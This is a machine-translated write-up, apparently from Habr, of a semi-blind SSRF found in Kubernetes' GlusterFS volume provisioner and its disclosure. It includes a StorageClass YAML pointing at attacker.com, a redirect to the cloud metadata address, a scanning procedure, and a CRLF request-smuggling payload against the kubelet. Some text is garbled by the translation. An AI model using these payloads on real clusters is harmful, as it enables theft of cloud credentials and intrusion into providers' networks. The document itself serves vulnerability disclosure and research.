Noat. transl.: de skriuwers fan dit artikel prate yn detail oer hoe't se it slagge om de kwetsberens te ûntdekken yn Kubernetes. Hoewol it yn 't earstoan net heul gefaarlik like, yn kombinaasje mei oare faktoaren die syn kritykens maksimaal te wêzen foar guon wolkproviders. Ferskate organisaasjes beleanne de spesjalisten royaal foar harren wurk.
Wa binne wy
Wy binne twa Frânske feiligensûndersikers dy't tegearre in kwetsberens yn Kubernetes ûntdutsen. Us nammen binne Brice Augras en Christophe Hauquiert, mar op in protte Bug Bounty-platfoarms binne wy bekend as Reeverzax en Hach respektivelik:
- - ;
- - Kubernetes arsjitekt by Nokia.
Wat is der bart?
Dit artikel is ús manier om te dielen hoe't in gewoan ûndersyksprojekt ûnferwachts feroare yn it meast spannende aventoer yn it libben fan bugjagers (teminsten foar no).
Lykas jo wierskynlik witte, hawwe bugjagers in pear opmerklike funksjes:
- se libje fan pizza en bier;
- se wurkje as alle oaren sliept.
Wy binne gjin útsûndering op dizze regels: wy treffe normaal yn 'e wykeinen en besteegje sliepleaze nachten troch te hacken. Mar ien fan dizze nachten einige op in heul ûngewoane manier.
Yn it earstoan soene wy gearkomme om dielname oan te besprekken de folgjende dei. Tidens in petear oer Kubernetes-feiligens yn in behearde tsjinstomjouwing, ûnthâlden wy it âlde idee fan SSRF () en besleat it te besykjen as in oanfalsskript te brûken.
Om 11 oere sieten wy ús ûndersyk te dwaan en gongen we moarns betiid op bêd, tige tefreden oer de resultaten. It wie fanwege dit ûndersyk dat wy it MSRC Bug Bounty-programma tsjinkamen en kamen mei in eskalaasje fan privileezjes.
Ferskate wiken/moannen foarby, en ús ûnferwachte resultaat resultearre yn ien fan 'e heechste beleanningen yn' e skiednis fan 'e Azure Cloud Bug Bounty - neist dejinge dy't wy krigen fan Kubernetes!
Op grûn fan ús ûndersyksprojekt publisearre de Kubernetes Product Security Committee .
No wol ik ynformaasje oer de fûne kwetsberens safolle mooglik ferspriede. Wy hoopje dat jo de fynst wurdearje en de technyske details diele mei oare leden fan 'e infosec-mienskip!
Dus hjir is ús ferhaal ...
Kontekst
Om it measte sin te meitsjen fan wat der bard is, litte wy earst sjen hoe't Kubernetes wurket yn in wolkbeheare omjouwing.
As jo in Kubernetes-kluster yn sa'n omjouwing ynstantiearje, is de behearslaach typysk de ferantwurdlikens fan 'e wolkprovider:
De kontrôlelaach leit by de perimeter fan 'e wolkprovider, wylst de Kubernetes-knooppunten lizze oan' e perimeter fan 'e klant
Om folumes dynamysk te allocearjen, wurdt in meganisme brûkt om se dynamysk te leverjen fan in eksterne opslachbackend en te fergelykjen mei PVC (persistente folumeclaim, d.w.s. in fersyk foar in folume).
Sa, neidat de PVC is oanmakke en bûn oan de StorageClass yn de K8s kluster, fierdere aksjes te foarsjen it folume wurde oernommen troch de kube / wolk controller manager (syn krekte namme hinget ôf fan de frijlitting). (Noat. transl.: Wy hawwe al mear skreaun oer CCM mei it foarbyld fan har ymplemintaasje foar ien fan 'e wolkproviders .)
D'r binne ferskate soarten foarsjenningen dy't stipe wurde troch Kubernetes: de measten binne opnommen yn , wylst oaren wurde beheard troch ekstra foarsjennings dy't pleatst wurde yn pods yn it kluster.
Yn ús ûndersyk rjochte wy ús op it ynterne folumefoarsjenningsmeganisme, dat hjirûnder is yllustrearre:
Dynamyske foarsjenning fan folumes mei de ynboude Kubernetes-provider
Koartsein, as Kubernetes wurdt ynset yn in behearde omjouwing, is de controllerbehearder de ferantwurdlikens fan 'e wolkprovider, mar it fersyk foar oanmeitsjen fan folume (nûmer 3 yn it diagram hjirboppe) ferlit it ynterne netwurk fan' e wolkprovider. En dit is wêr't dingen echt ynteressant wurde!
Hacking senario
Yn dizze seksje sille wy útlizze hoe't wy profitearren fan 'e hjirboppe neamde workflow en tagong ta de ynterne boarnen fan' e wolktsjinstprovider. It sil jo ek sjen litte hoe't jo bepaalde aksjes kinne útfiere, lykas it krijen fan ynterne referinsjes of eskalearjen fan privileezjes.
Ien ienfâldige manipulaasje (yn dit gefal, Service Side Request Forgery) holp om fierder te gean as de kliïntomjouwing yn klusters fan ferskate tsjinstferlieners ûnder managed K8s.
Yn ús ûndersyk rjochte wy ús op de GlusterFS-provider. Nettsjinsteande it feit dat de fierdere folchoarder fan aksjes wurdt beskreaun yn dit ferbân, Quobyte, StorageOS en ScaleIO binne gefoelich foar deselde kwetsberens.
Misbrûk fan dynamysk folumefoarsjenningsmeganisme
Tidens opslach klasse analyze GlusterFS yn de Golang client boarne koade we dat op de earste HTTP-fersyk (3) ferstjoerd tidens folume skepping, oan 'e ein fan' e oanpaste URL yn de parameter resturl tafoege /volumes.
Wy besletten om dit ekstra paad kwyt te reitsjen troch ta te foegjen # yn parameter resturl. Hjir is de earste YAML-konfiguraasje dy't wy brûkten om te testen foar in semi-blinde SSRF-kwetsberens (jo kinne mear lêze oer semi-blind of heal-blind SSRF, bygelyks, - ca. oerset.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfDêrnei brûkten wy de binêre om it Kubernetes-kluster op ôfstân te behearjen kubectl. Typysk kinne wolkproviders (Azure, Google, AWS, ensfh.) jo referinsjes krije foar gebrûk yn dit hulpprogramma.
Hjirmei koe ik myn "spesjale" bestân brûke. Kube-controller-manager hat it resultearjende HTTP-fersyk útfierd:
kubectl create -f sc-poc.yaml
It antwurd út it eachpunt fan de oanfaller
Koart dêrnei koenen wy ek in HTTP-antwurd ûntfange fan de doeltsjinner - fia de kommando's describe pvc of get events yn kub. En yndied: dizze standert Kubernetes-bestjoerder is te verbose yn syn warskôgings / flaterberjochten ...
Hjir is in foarbyld mei in keppeling nei https://www.google.frset as parameter resturl:
kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events
Yn dizze oanpak wiene wy beheind ta fragen lykas HTTP POST en koe net krije de ynhâld fan it antwurd lichem as de werom koade wie 201. Dêrom hawwe wy besletten om ekstra ûndersyk út te fieren en dit hacking-senario útwreide mei nije oanpakken.
De evolúsje fan ús ûndersyk
- Avansearre senario #1: It brûken fan in 302 trochferwizing fan in eksterne server om de HTTP-metoade te feroarjen om in fleksibeler manier te jaan om ynterne gegevens te sammeljen.
- Avansearre senario #2: Automatisearje LAN-skennen en ûntdekking fan ynterne boarnen.
- Avansearre senario #3: mei help fan HTTP CRLF + smokkeljen ("fersyksmokkeljen") om oanpaste HTTP-oanfragen te meitsjen en gegevens op te heljen út kube-controller-logs.
Technyske spesifikaasjes
- It ûndersyk brûkte Azure Kubernetes Service (AKS) mei Kubernetes ferzje 1.12 yn 'e regio Noard-Jeropa.
- De hjirboppe beskreaune senario's waarden útfierd op 'e lêste releases fan Kubernetes, mei útsûndering fan it tredde senario, om't hy hie Kubernetes nedich boud mei Golang ferzje ≤ 1.12.
- De eksterne tsjinner fan 'e oanfaller -
https://attacker.com.
Avansearre senario #1: In HTTP POST-fersyk omliede om gefoelige gegevens te krijen en te ûntfangen
De oarspronklike metoade waard ferbettere troch de konfiguraasje fan 'e tsjinner fan' e oanfaller om werom te kommen 302 HTTP Retcodeom in POST-fersyk te konvertearjen nei in GET-fersyk (stap 4 yn it diagram):
Earste fersyk (3) komt fan 'e kliïnt GlusterFS (Controller Manager), hat in POST-type. Troch dizze stappen te folgjen koenen wy it omsette yn in GET:
- As parameter
resturlyn StorageClass wurdt oanjûnhttp://attacker.com/redirect.php. - Endpoint
https://attacker.com/redirect.phpreagearret mei in 302 HTTP-statuskoade mei de folgjende lokaasjekoptekst:http://169.254.169.254. Dit kin elke oare ynterne boarne wêze - yn dit gefal wurdt de trochferwizingslink allinich as foarbyld brûkt. - standert net/http bibleteek Golang ferwiist it fersyk en konvertearret de POST nei in GET mei in 302-statuskoade, wat resulteart yn in HTTP GET-fersyk nei de doelboarne.
Om it HTTP-antwurdlichem te lêzen moatte jo dwaan describe PVC foarwerp:
kubectl describe pvc xxxHjir is in foarbyld fan in HTTP-antwurd yn JSON-formaat dat wy koenen ûntfange:
De mooglikheden fan 'e fûne kwetsberens op dat stuit wiene beheind fanwege de folgjende punten:
- Unfermogen om HTTP-koppen yn te foegjen yn útgeande fersyk.
- Unfermogen om in POST-fersyk út te fieren mei parameters yn it lichem (dit is handich om de kaaiwearde te freegjen fan in etcd-eksimplaar dy't rint op 2379 poarte as net-fersifere HTTP wurdt brûkt).
- Ûnfermogen om te heljen reaksje lichem ynhâld doe't de status koade wie 200 en it antwurd hie gjin JSON Content-Type.
Avansearre senario #2: Scannen fan it lokale netwurk
Dizze healblinde SSRF-metoade waard doe brûkt om it ynterne netwurk fan 'e wolkprovider te scannen en ferskate harktsjinsten te ûndersiikjen (Metadata-eksimplaar, Kubelet, ensfh.) basearre op de antwurden kube controller.
Earst waarden de standert harkpoarten fan Kubernetes-komponinten bepaald (8443, 10250, 10251, ensfh.), En dan moasten wy it skennenproses automatisearje.
Sjoen dat dizze metoade foar it scannen fan boarnen heul spesifyk is en net kompatibel is mei klassike scanners en SSRF-ark, hawwe wy besletten om ús eigen arbeiders te meitsjen yn in bash-skript dat it heule proses automatisearje.
Bygelyks, om it berik 172.16.0.0/12 fan it ynterne netwurk fluch te scannen, waarden 15 arbeiders parallel lansearre. It boppesteande IP-berik is allinich as foarbyld selektearre en kin feroare wurde oan it IP-berik fan jo spesifike tsjinstferliener.
Om ien IP-adres en ien poarte te scannen, moatte jo it folgjende dwaan:
- wiskje de lêste kontrolearre StorageClass;
- fuortsmite de foarige ferifiearre Persistent Volume Claim;
- feroarje de IP- en Port-wearden yn
sc.yaml; - meitsje in StorageClass mei in nije IP en poarte;
- meitsje in nij PVC;
- extract scan resultaten mei beskriuwe foar PVC.
Avansearre senario #3: CRLF-ynjeksje + smokkeljen fan HTTP yn "âlde" ferzjes fan it Kubernetes-kluster
As neist dit de provider oanbean kliïnten âlde ferzjes fan de K8s kluster и joech harren tagong ta kube-controller-manager syn logs, it effekt waard noch wichtiger.
It is yndie folle handiger foar in oanfaller om HTTP-oanfragen te feroarjen ûntworpen om in folsleine HTTP-antwurd te krijen nei syn goedtinken.
Om it lêste senario út te fieren, moasten de folgjende betingsten foldien wurde:
- De brûker moat tagong hawwe ta kube-controller-manager-logs (lykas bygelyks yn Azure LogInsights).
- It Kubernetes-kluster moat in ferzje fan Golang brûke leger dan 1.12.
Wy hawwe in lokale omjouwing ynset dy't de kommunikaasje simulearre tusken de GlusterFS Go-kliïnt en in falske doeltsjinner (wy sille foarearst ûnthâlde fan it publisearjen fan de PoC).
Is fûn , ynfloed op Golang-ferzjes leger as 1.12 en wêrtroch hackers HTTP-smokkeljen / CRLF-oanfallen kinne útfiere.
Troch it kombinearjen fan de healblinde SSRF hjirboppe beskreaun вместе mei dizze, wy wienen by steat om te stjoeren fersiken nei ús smaak, ynklusyf ferfangen kopteksten, HTTP metoade, parameters en gegevens, dy't kube-controller-manager dan ferwurke.
Hjir is in foarbyld fan in wurkjende "bait" yn in parameter resturl StorageClass, dy't in ferlykber oanfalssenario ymplementearret:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnIt resultaat is in flater net frege antwurd, in berjocht oer dat wurdt opnomd yn de controller logs. Mei tank oan verbosity as standert ynskeakele, wurdt de ynhâld fan it HTTP-antwurdberjocht dêr ek bewarre.
Dit wie ús meast effektive "bait" yn it ramt fan proof of concept.
Mei dizze oanpak koene wy wat fan 'e folgjende oanfallen útfiere op klusters fan ferskate behearde k8s-oanbieders: privileezje-eskalaasje mei referinsjes op metadata-eksimplaren, Master DoS fia (net-fersifere) HTTP-oanfragen op etcd-master-eksimplaren, ensfh.
Consequences
Yn 'e offisjele ferklearring fan Kubernetes oangeande de SSRF-kwetsberens dy't wy ûntdutsen, waard it beoardield CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. As wy allinich de kwetsberens beskôgje dy't ferbûn binne mei de Kubernetes-perimeter, de yntegriteitsvektor (yntegriteitsvektor) it kwalifisearret as Gjin.
It beoardieljen fan 'e mooglike gefolgen yn' e kontekst fan in behearde tsjinstomjouwing (en dit wie it meast nijsgjirrige diel fan ús ûndersyk!) brocht ús oan om de kwetsberens te reklassifisearjen yn in beoardieling Critical CVSS10/10 foar in protte distributeurs.
Hjirûnder is oanfoljende ynformaasje om jo te helpen ús oerwagings te begripen by it beoardieljen fan de mooglike gefolgen yn wolkomjouwings:
Yntegriteit
- Utfiere kommando's op ôfstân mei oankochte ynterne referinsjes.
- It boppesteande senario reprodusearje mei de IDOR (Insecure Direct Object Reference) metoade mei oare boarnen fûn op it lokale netwurk.
Fertroulikens
- Oanfal type tank oan stellerij fan wolk credentials (Bygelyks, metadata API).
- Ynformaasje sammeljen troch it lokale netwurk te scannen (bepale de SSH-ferzje, HTTP-tsjinnerferzje, ...).
- Sammelje eksimplaar- en ynfrastruktuerynformaasje troch ynterne API's te polljen lykas de metadata API (
http://169.254.169.254, ...). - Stealing klantgegevens mei help fan wolk credentials.
Fergees
Alle eksploitaasje senario yn ferbân mei oanfal vectoren op yntegriteit, kin brûkt wurde foar destruktive aksjes en liede ta mastereksimplaren fan 'e kliïntperimeter (of in oar) net beskikber.
Sûnt wy wiene yn in beheare K8s omjouwing en beoardielje de ynfloed op yntegriteit, kinne wy yntinke in protte senario dy't koe beynfloedzje beskikberens. Oanfoljende foarbylden omfetsje it korrupsje fan 'e etcd-database of it meitsjen fan in krityske oprop nei de Kubernetes API.
Tiidline
- 6 desimber 2019: Kwetsberens rapportearre oan MSRC Bug Bounty.
- 3 jannewaris 2020: In tredde partij ynformearre Kubernetes-ûntwikkelders dat wy wurken oan in feiligensprobleem. En frege har om SSRF te beskôgjen as in ynterne (yn-kearn) kwetsberens. Wy levere doe in algemien rapport mei technyske details oer de boarne fan it probleem.
- 15 jannewaris 2020: Wy levere technyske en algemiene rapporten oan Kubernetes-ûntwikkelders op har fersyk (fia it HackerOne-platfoarm).
- 15 jannewaris 2020: Kubernetes-ûntwikkelders hawwe ús ynformearre dat healblinde SSRF + CRLF-ynjeksje foar ferline releases wurdt beskôge as in yn-kearn kwetsberens. Wy stopje fuortendaliks mei it analysearjen fan de perimeters fan oare tsjinstferlieners: it team fan K8s wie no dwaande mei de oarsaak.
- 15 jannewaris 2020: MSRC-beleanning ûntfongen fia HackerOne.
- 16 jannewaris 2020: Kubernetes PSC (Product Security Committee) erkende de kwetsberens en frege om it geheim te hâlden oant heal maart fanwege it grutte oantal potensjele slachtoffers.
- 11 febrewaris 2020: Google VRP-beleanning ûntfongen.
- 4 maart 2020: Kubernetes-beleanning ûntfongen fia HackerOne.
- 15 maart 2020: Oarspronklik plande iepenbiere iepenbiering útsteld fanwege de COVID-19-situaasje.
- 1 juny 2020: Kubernetes + Microsoft mienskiplike ferklearring oer de kwetsberens.
TL; DR
- Wy drinke bier en ite pizza :)
- Wy ûntdutsen in yn-kearn kwetsberens yn Kubernetes, hoewol wy net fan doel hiene dit te dwaan.
- Wy hawwe ekstra analyse útfierd op klusters fan ferskate wolkproviders en koenen de skea fergrutsje feroarsake troch de kwetsberens om ekstra bjusterbaarlike bonussen te ûntfangen.
- Jo sille in protte technyske details fine yn dit artikel. Wy wolle se graach mei jo beprate (Twitter: & ).
- It die bliken dat allerhande formaliteiten en rapportaazje folle langer duorre as ferwachte.
referinsjes
- ;
- ;
- ;
- .
PS fan oersetter
Lês ek op ús blog:
- «";
- «";
- «".
Boarne: www.habr.com